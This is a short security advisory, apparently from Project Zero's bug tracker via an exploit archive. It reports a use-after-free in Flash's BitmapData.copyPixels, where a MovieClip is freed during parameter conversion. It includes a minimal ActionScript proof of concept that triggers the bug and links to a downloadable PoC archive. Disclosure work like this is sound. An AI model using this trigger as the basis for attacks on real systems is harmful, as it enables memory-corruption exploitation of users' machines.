22 lines
No EOL
762 B
Text
22 lines
No EOL
762 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843
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There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:
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var mc = this.createEmptyMovieClip( "mc", 1);
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var b = new flash.display.BitmapData(10, 10, true, 7);
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var f = b.copyPixels;
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mc.f = f;
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mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});
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function func(){
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mc.removeMovieClip();
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// Fix the heap
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}
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip |